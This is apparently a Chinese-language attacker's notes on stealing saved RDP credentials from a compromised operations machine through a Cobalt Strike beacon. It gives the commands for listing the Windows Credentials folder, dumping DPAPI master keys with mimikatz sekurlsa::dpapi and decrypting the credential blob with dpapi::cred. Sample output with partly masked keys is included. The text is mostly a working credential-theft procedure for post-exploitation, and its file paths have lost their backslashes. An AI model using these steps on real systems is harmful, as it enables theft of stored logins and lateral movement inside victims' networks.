拿下一台运维机，上了个CS，发现曾经连接过几台服务器并且保存了凭据，网上查了圈发现CS不支持交互式mimikatz，记录下获取远程主机RDP凭据。

Windows保存RDP凭据的目录是C:Users用户名AppDataLocalMicrosoftCredentials

可通过命令行获取，执行: cmdkey /list或powerpick Get-ChildItem C:Usersrasta_mouseAppDataLocalMicrosoftCredentials -Force

注意:cmdkey /list命令务必在Session会话下执行，system下执行无结果。

使用cobalt strike中的mimikatz可以获取一部分接下来要用到的masterkey和pbData

mimikatz dpapi::cred /in:C:UsersUSERNAMEAppDataLocalMicrosoftCredentialsSESSIONID

输出应类似

**BLOB**dwVersion          : 00000001 - 1guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}dwMasterKeyVersion : 00000001 - 1guidMasterKey      : {0785cf41-0f53-4be7-bc8b-6cb33b4bb102}dwFlags            : 20000000 - 536870912 (system ; )dwDescriptionLen   : 00000012 - 18szDescription      : 本地凭据数据

algCrypt           : 00006610 - 26128 (CALG_AES_256)dwAlgCryptLen      : 00000100 - 256dwSaltLen          : 00000020 - 32pbSalt             : 726d845b8a4eba29875****10659ec2d5e210a48fdwHmacKeyLen       : 00000000 - 0pbHmackKey         : algHash            : 0000800e - 32782 (CALG_SHA_512)dwAlgHashLen       : 00000200 - 512dwHmac2KeyLen      : 00000020 - 32pbHmack2Key        : cda4760ed3fb1c7874****28973f5b5b403fe31f233dwDataLen          : 000000c0 - 192pbData             : d268f81c64a3867cd7e96d99578295ea55a47fcaad5f7dd6678989117fc565906cc5a8bfd37137171302b34611ba5****e0b94ae399f9883cf80050f0972693d72b35a9a90918a06ddwSignLen          : 00000040 - 64pbSign             : 63239d3169c99fd82404c0e230****37504cfa332bea4dca0655

beacon> mimikatz !sekurlsa::dpapi

imikatz !sekurlsa::dpapi
      [00000001]     
      * GUID      :    {0785cf41-0f53-4be7-bc8b-6cb33b4bb102}     
      * Time      :    2020/1/3 8:05:02     
      * MasterKey :    02b598c2252fa5d8f7fcd***7737644186223f44cb7d958148     
      * sha1(key) :    3e6dc57a0fe****a902cfaf617b1322     [00000002]     
      * GUID      :    {edcb491a-91d7-4d98-a714-8bc60254179f}     
      * Time      :    2020/1/3 8:05:02     
      * MasterKey :    c17a4aa87e9848e9f46c8ca81330***79381103f4137d3d97fe202     
      * sha1(key) :    5e1b3eb1152d3****6d3d6f90aaeb

然后将凭据保存到本地，执行

mimikatz "dpapi::cred /in:C:UsersUSERNAMEDesktoptestSESSION /masterkey:对应的GUID key"